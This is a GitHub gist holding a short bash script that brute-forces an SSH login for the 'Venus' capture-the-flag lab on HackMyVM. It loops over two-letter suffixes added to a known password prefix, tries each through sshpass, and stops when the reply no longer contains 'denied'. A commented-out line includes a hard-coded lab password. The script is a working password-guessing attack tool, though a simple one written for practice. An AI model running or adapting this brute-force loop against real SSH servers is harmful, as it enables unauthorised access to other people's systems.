Skip to content

Instantly share code, notes, and snippets.

@lund133369
Last active January 30, 2024 19:04
Show Gist options
  • Select an option

  • Save lund133369/899417dcfffb9362328eebfe6a88d6a0 to your computer and use it in GitHub Desktop.

Select an option

Save lund133369/899417dcfffb9362328eebfe6a88d6a0 to your computer and use it in GitHub Desktop.
ssh_brute_force , no optimazed , ctf venus hackmyvm
#!/bin/bash
palabra="v7xUVE2e5bjUc"
#echo $(timeout 8s sshpass -p 'h1hnDPHpydEjoEN' ssh [email protected] -p 5000 2>&1 ) | grep -o "denied"
#desde el x comienza el bucle pues la contraseña es palabra"xw"
for i in {x..z}; do
for k in {u..z};do
combinacion="${palabra}${i}${k}"
echo \'$combinacion\'
respuesta=$(timeout 8s sshpass -p $combinacion ssh [email protected] -p 5000 2>&1 | grep -o "denied")
echo $respuesta
if [ "$respuesta" == "denied" ]; then
echo "noooooooo"
else
echo "palabra encontrada $combinacion"
exit 0
fi
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment